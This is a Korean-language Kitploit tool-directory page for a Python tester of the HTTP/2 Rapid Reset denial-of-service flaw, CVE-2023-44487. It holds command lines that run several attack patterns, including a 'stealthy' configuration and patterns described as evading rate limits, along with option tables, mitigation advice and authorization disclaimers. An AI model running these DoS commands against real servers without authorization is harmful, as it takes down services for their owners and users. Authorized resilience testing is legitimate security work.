Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE_2023_44487-Rapid_Reset — Python 기반의 CVE-2023-44487(HTTP/2 Rapid Reset) 테스트 도구로, 여러 공격 패턴, 세부 구성, 모니터링 기능을 갖추고 있으며 승인된 보안 평가를 위해 설계되었습니다. | Kitploit
도구/GitHubGitHub/gmh5225/cve_2023_44487-rapid_reset
Vulnerability ScannersExploitationWeb SecurityNetwork SecurityPenetration Testing
GitHubgmh5225/cve_2023_44487-rapid_reset

CVE_2023_44487-Rapid_Reset

Python 기반의 CVE-2023-44487(HTTP/2 Rapid Reset) 테스트 도구로, 여러 공격 패턴, 세부 구성, 모니터링 기능을 갖추고 있으며 승인된 보안 평가를 위해 설계되었습니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
1년 전아직 검토되지 않음
공유

CVE-2023-44487 HTTP/2 Rapid Reset 테스트 도구 - 향상된 버전

CVE-2023-44487, HTTP/2 Rapid Reset 취약점을 위한 포괄적인 Python 테스트 도구입니다. 이 향상된 버전은 테스트 매개변수에 대한 세밀한 제어, 여러 공격 패턴, 고급 모니터링 기능을 제공합니다.

⚠️ 중요 면책 조항

이 도구는 교육 및 승인된 테스트 목적으로만 사용하세요!

  • 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에만 사용하세요
  • 무단 사용은 불법일 수 있으며 서비스 중단을 초래할 수 있습니다
  • 이 도구는 서버 가용성에 영향을 줄 수 있는 서비스 거부(DoS) 공격을 수행합니다
  • 테스트 전에 반드시 적절한 승인을 받았는지 확인하세요

🔍 CVE-2023-44487 정보

CVE-2023-44487은 "HTTP/2 Rapid Reset"으로도 알려져 있으며, 공격자가 다음을 수행할 수 있게 하는 HTTP/2 프로토콜의 심각한 취약점입니다:

  • HTTP/2 스트림을 빠르게 전송하고 취소하여 서비스 거부 유발
  • 최소한의 클라이언트 리소스로 과도한 서버 리소스 소비
  • 많은 기존 속도 제한 메커니즘 우회
  • 주요 웹 서버 및 로드 밸런서에 영향

CVSS 점수: 7.5 (높음)

영향: 서비스 거부, 리소스 고갈

🚀 향상된 기능

다중 공격 패턴

  • ⚡ Rapid Reset: 표준 HEADERS + 즉시 RST_STREAM
  • 💥 Burst Reset: 구성 가능한 지연 시간으로 버스트 단위 요청
  • 📈 Gradual Reset: 공격률 점진적 증가
  • 🎲 Random Reset: 예측 필터링 우회를 위한 무작위 타이밍
  • 🌊 Continuation Flood: CONTINUATION 프레임 플러드 공격
  • 🔀 Mixed Pattern: 여러 패턴의 조합
  • 세밀한 구성

    • 📡 연결 제어: 타임아웃, 지연, 동시 연결 제한
    • ⏱️ 타이밍 제어: 지터 지원을 통한 정밀 타이밍
    • 🌐 HTTP/2 프로토콜: 윈도우 크기, 프레임 크기, HPACK 설정
    • 📋 헤더 사용자 지정: 사용자 지정 헤더, 무작위 생성
    • 🔬 고급 옵션: 스트림 ID 무작위화, 우선순위 프레임
    • 📊 모니터링: 지연 시간 추적, 트래픽 분석, 오류 모니터링

    출력 형식

    • 🖥️ 콘솔: 진행 상황 업데이트가 포함된 사람이 읽을 수 있는 형식
    • 📋 JSON: 기계가 읽을 수 있는 구조화된 데이터
    • 📊 CSV: 분석을 위한 스프레드시트 호환 형식
    • 🗃️ XML: 엔터프라이즈 도구 통합

    안전 기능

    • 🛡️ 승인 제어: 필수 확인 프롬프트
    • 🔒 속도 제한: 기본 제공 연결 및 요청 제한
    • 🎛️ 오류 처리: 안전한 오류 처리
    • 📝 감사 추적: 포괄적인 로깅 기능

    📋 요구 사항

    • Python 3.7 이상
    • 외부 종속성 없음 (Python 표준 라이브러리만 사용)

    📖 설치

    1. 스크립트 복제 또는 다운로드:
    root@kitploit:~
    git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
    cd CVE_2023_44487-Rapid_Reset
    
    1. 스크립트를 실행 가능하게 설정:
    root@kitploit:~
    chmod +x rapid_reset_test.py
    
    1. Python 버전 확인:
    root@kitploit:~
    python3 --version  # 3.7 이상이어야 함
    

    🔧 사용법

    기본 사용법

    root@kitploit:~
    python3 rapid_reset_test.py https://target-server.com
    

    고급 사용 예시

    1. 고처리량 부하 테스트

    root@kitploit:~
    python3 rapid_reset_test.py https://target.com \
        --connections 50 \
        --requests 1000 \
        --delay 0 \
        --pattern rapid_reset \
        --track-latency \
        --output json
    

    2. 사용자 지정 헤더를 사용한 은밀한 테스트

    root@kitploit:~
    python3 rapid_reset_test.py https://target.com \
        --pattern burst_reset \
        --burst-size 5 \
        --burst-delay 2.0 \
        --custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
        --jitter 0.3
    

    3. 프로토콜 특정 테스트

    root@kitploit:~
    python3 rapid_reset_test.py https://target.com \
        --window-size 32768 \
        --frame-size 32768 \
        --header-table-size 8192 \
        --enable-push \
        --priority-frames \
        --randomize-streams
    

    4. 포괄적인 모니터링 테스트

    root@kitploit:~
    python3 rapid_reset_test.py https://target.com \
        --connections 10 \
        --requests 200 \
        --pattern mixed_pattern \
        --track-latency \
        --track-responses \
        --monitor-memory \
        --verbose \
        --debug \
        --log-file attack.log
    

    5. CONTINUATION 플러드 공격

    root@kitploit:~
    python3 rapid_reset_test.py https://target.com \
        --pattern continuation_flood \
        --requests 50 \
        --random-headers \
        --header-count 20
    

    전체 명령줄 옵션

    연결 설정

    옵션설명기본값
    -c, --connections N동시 연결 수1
    --connection-timeout SEC연결 타임아웃(초)10
    --read-timeout SEC응답 읽기 타임아웃5
    --connection-delay SEC연결 간 지연0.0

    요청 설정

    옵션설명기본값
    -r, --requests N연결당 요청 수100
    --delay SECHEADERS와 RST_STREAM 사이 지연0.001
    --request-delay SEC요청 간 지연0.0
    --jitter FACTOR타이밍 무작위화 요소0.0

    공격 패턴

    옵션설명기본값
    --pattern TYPE사용할 공격 패턴rapid_reset
    --burst-size N버스트당 요청 수10
    --burst-delay SEC버스트 간 지연0.1

    사용 가능한 패턴:

    • rapid_reset - 표준 rapid reset 공격
    • burst_reset - 버스트 기반 공격
    • gradual_reset - 점진적으로 증가하는 속도
    • random_reset - 무작위 타이밍
    • continuation_flood - CONTINUATION 프레임 플러드
    • mixed_pattern - 패턴 혼합

    HTTP/2 프로토콜 설정

    옵션설명기본값
    --window-size BYTESHTTP/2 초기 윈도우 크기65535
    --frame-size BYTES최대 프레임 크기16384
    --header-table-size BYTESHPACK 헤더 테이블 크기4096
    --enable-pushHTTP/2 서버 푸시 활성화False
    --rst-error-code CODERST_STREAM 오류 코드8

    헤더 사용자 지정

    옵션설명기본값
    --custom-headers HEADER사용자 지정 헤더 (이름: 값)None
    --random-headers무작위 헤더 생성False
    --header-count N무작위 헤더 수5

    고급 옵션

    옵션설명기본값
    --randomize-streams무작위 스트림 ID 사용False
    --priority-frames우선순위 정보 포함False
    --continue-on-error오류 후 계속 진행True
    --max-errors N중지 전 최대 오류 수10

    모니터링 옵션

    옵션설명기본값
    --track-latency요청 지연 시간 추적False
    --track-responses서버 응답 추적False
    --monitor-memory메모리 사용량 모니터링False

    출력 옵션

    옵션설명기본값
    --output FORMAT출력 형식console
    --output-file FILE출력 파일 이름자동 생성
    --verbose, -v상세 출력False
    --debug디버그 로깅False
    --log-file FILE파일에 로깅None

    사용 가능한 출력 형식:

    • console - 사람이 읽을 수 있는 콘솔 출력
    • json - 기계가 읽을 수 있는 JSON
    • csv - 스프레드시트 호환 CSV
    • xml - 구조화된 XML 형식

    📊 결과 이해하기

    향상된 결과 형식

    이 도구는 다음을 포함한 포괄적인 결과를 제공합니다:

    • 공격 구성: 전체 테스트 매개변수
    • 연결 통계: 연결별 성공/실패율
    • 트래픽 분석: 송수신 바이트, 요청 속도
    • 지연 시간 메트릭: 요청 타이밍 분석 (활성화된 경우)
    • 오류 분석: 상세 오류 추적 및 분류
    • 위험 평가: 자동 취약점 점수화

    샘플 JSON 출력 구조

    root@kitploit:~
    {
      "target_url": "https://example.com",
      "test_config": {
        "attack_pattern": "rapid_reset",
        "max_connections": 10,
        "requests_per_connection": 100,
        "delay_between_headers_rst": 0.001
      },
      "test_summary": {
        "duration": 2.34,
        "successful_connections": 10,
        "total_successful_attacks": 950,
        "success_rate": 95.0,
        "requests_per_second": 405.98,
        "total_bytes_sent": 125600,
        "average_latency": 0.0024
      },
      "connection_stats": [...],
      "errors": [...],
      "timestamp": 1640995200.0
    }
    

    위험 평가

    이 도구는 취약점을 자동으로 평가합니다:

    • 🔴 높은 위험 (>80% 성공): 서버가 취약할 가능성이 높음
    • 🟡 중간 위험 (50-80% 성공): 부분적 취약성
    • 🟢 낮은 위험 (<50% 성공): 완화 조치가 효과적인 것으로 보임

    🔬 기술적 세부 사항

    공격 방법론

    1. Rapid Reset: HEADERS 직후 RST_STREAM 전송
    2. Burst Reset: 구성 가능한 지연 시간으로 요청을 버스트로 그룹화
    3. Gradual Reset: 공격 강도를 점진적으로 증가
    4. Random Reset: 예측 불가능한 타이밍 패턴 사용
    5. Continuation Flood: CONTINUATION 프레임 처리 악용
    6. Mixed Pattern: 여러 기법 결합

    HTTP/2 구현

    • 적절한 HTTP/2 연결 프리페이스 처리
    • 사용자 지정 매개변수를 사용한 SETTINGS 프레임 협상
    • 고급 HPACK 헤더 압축 옵션
    • 구성 가능한 스트림 ID를 사용한 스트림 다중화
    • RFC 7540 준수 프레임 구조
    • HTTP/2 확장 및 우선순위 프레임 지원

    모니터링 기능

    • 지연 시간 추적: 마이크로초 정밀도 타이밍
    • 트래픽 분석: 포괄적인 바이트 수준 모니터링
    • 오류 분류: 상세 오류 분류
    • 성능 메트릭: 요청 속도 및 처리량 분석
    • 프로토콜 디버깅: 프레임 수준 검사 기능

    🛡️ 완화 전략

    서버가 취약한 것으로 확인되면 다음 완화 조치를 구현하세요:

    즉시 조치

    1. HTTP/2 구현을 최신 버전으로 업데이트
    2. HTTP/2 스트림 및 연결에 대한 속도 제한 활성화
    3. 연결 제한 및 요청 타임아웃 구성
    4. 스트림 재설정 모니터링 및 차단 구현

    고급 보호

    1. 공격 보호 기능이 있는 HTTP/2 인식 로드 밸런서 배포
    2. 연결 패턴 기반 적응형 속도 제한 구성
    3. 요청 우선순위 및 리소스 할당 제한 구현
    4. 서버 리소스 모니터링 및 알림 구현
    5. 연결 병합 및 다중화 제어 사용

    모니터링 및 탐지

    1. RST_STREAM 속도 및 패턴 모니터링
    2. 연결 설정 속도 추적
    3. HTTP/2 트래픽에 대한 이상 탐지 구현
    4. 향후 보호를 위한 공격 패턴 로깅 및 분석

    🔗 통합 예시

    Python 자동화

    root@kitploit:~
    import subprocess
    import json
    
    # 자동화된 테스트 실행
    result = subprocess.run([
        'python3', 'rapid_reset_test.py',
        'https://target.com',
        '--pattern', 'mixed_pattern',
        '--output', 'json',
        '--output-file', 'results.json'
    ])
    
    # 결과 분석
    with open('results.json') as f:
        data = json.load(f)
        vulnerability_score = data['test_summary']['success_rate']
        if vulnerability_score > 80:
            print(f"HIGH RISK: {vulnerability_score}% success rate")
    

    지속적 모니터링

    root@kitploit:~
    #!/bin/bash
    # Cron 작업: 0 2 * * * /path/to/monitor.sh
    
    python3 rapid_reset_test.py https://myserver.com \
        --pattern rapid_reset \
        --connections 5 \
        --requests 50 \
        --output json \
        --output-file /var/log/rapid-reset-$(date +%Y%m%d).json
    
    # 취약점 감지 시 알림
    if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
        echo "ALERT: Server vulnerable to rapid reset attack" | mail -s "Security Alert" [email protected]
    fi
    

    데이터 분석

    root@kitploit:~
    import pandas as pd
    import matplotlib.pyplot as plt
    
    # CSV 결과 로드 및 분석
    df = pd.read_csv('results.csv')
    
    # 연결별 공격 성공 시각화
    plt.figure(figsize=(12, 6))
    plt.subplot(1, 2, 1)
    df.plot(x='connection_id', y='successful_attacks', kind='bar')
    plt.title('Attack Success by Connection')
    
    plt.subplot(1, 2, 2)
    df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
    plt.hist(df['success_rate'], bins=20)
    plt.title('Success Rate Distribution')
    plt.show()
    

    🐛 문제 해결

    일반적인 문제

    1. 연결 거부:

      • 대상이 HTTP/2를 지원하는지 확인
      • 방화벽 및 네트워크 연결 확인
      • HTTPS가 올바르게 구성되었는지 확인
    2. SSL/TLS 오류:

      • 인증서 검증 문제
      • 상세 SSL 정보를 위해 --debug 사용
      • ALPN 협상 확인
    3. 낮은 성공률:

      • 서버에 속도 제한이 활성화되어 있을 수 있음
      • 다른 공격 패턴 시도
      • 타이밍 매개변수 조정
    4. 성능 문제:

      • 테스트를 위한 연결 수 줄이기
      • 분석을 위해 --debug 및 --log-file 사용
      • 시스템 리소스 모니터링

    디버그 단계

    1. 상세 로깅 활성화: --verbose --debug --log-file debug.log
    2. 최소 부하로 테스트: --connections 1 --requests 10
    3. HTTP/2 지원 확인: 브라우저 개발자 도구 사용
    4. 서버 응답 확인: --track-responses
    5. 지연 시간 모니터링: --track-latency

    📄 라이선스

    이 도구는 MIT 라이선스에 따라 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

    🔗 참조

    • CVE-2023-44487 세부 정보
    • RFC 7540 - HTTP/2 사양
    • NIST CVE 데이터베이스
    • Cloudflare 기술 분석
    • Google 보안 블로그

    ⚖️ 법적 고지

    이 도구는 사이버 보안 전문가, 연구자 및 시스템 관리자가 자신의 시스템 또는 명시적 허가를 받은 시스템을 테스트하기 위한 것입니다. 작성자는 이 도구의 오용에 대해 책임을 지지 않습니다.

    주요 법적 사항:

    • 소유하거나 서면 허가를 받은 시스템만 테스트하세요
    • 무단 테스트는 컴퓨터 범죄 법률을 위반할 수 있습니다
    • 이 도구는 실제 서비스 중단을 초래할 수 있습니다
    • 테스트 전에 관련 이해관계자에게 항상 알리세요
    • 가능하면 유지보수 시간에 사용하세요
    • 감사 목적으로 모든 테스트 활동을 문서화하세요

    기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 도구를 윤리적이고 합법적으로 사용하세요.

    🆕 향상된 버전의 새로운 기능

    버전 2.0 기능

    • ✅ 6가지 공격 패턴: 다양한 정교한 공격 벡터
    • ✅ 40개 이상의 구성 옵션: 모든 매개변수에 대한 세밀한 제어
    • ✅ 4가지 출력 형식: 콘솔, JSON, CSV, XML 지원
    • ✅ 고급 모니터링: 지연 시간 추적, 트래픽 분석, 오류 모니터링
    • ✅ 프로토콜 사용자 지정: HTTP/2 윈도우 크기, 프레임 크기, HPACK 설정
    • ✅ 헤더 조작: 사용자 지정 헤더, 무작위 생성, CONTINUATION 플러드
    • ✅ 타이밍 제어: 지터 지원, 버스트 패턴, 점진적 확대
    • ✅ 안전 기능 강화: 더 나은 속도 제한, 오류 처리, 감사 추적
    • ✅ 통합 준비: 자동화 및 분석을 위한 JSON/CSV 출력

    기본 버전에서 마이그레이션

    향상된 버전은 기본 버전과의 하위 호환성을 유지합니다. 모든 기존 명령줄 옵션은 계속 작동하며, 새 옵션이 추가 기능을 제공합니다.

    기본 버전에서 업그레이드하는 사용자를 위한 예시:

    root@kitploit:~
    # 기존 기본 사용법은 여전히 작동
    python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
    
    # 추가 옵션이 포함된 새로운 향상된 사용법
    python3 rapid_reset_test.py https://example.com \
        --connections 5 --requests 100 \
        --pattern burst_reset --track-latency --output json
    
    도구 다운로드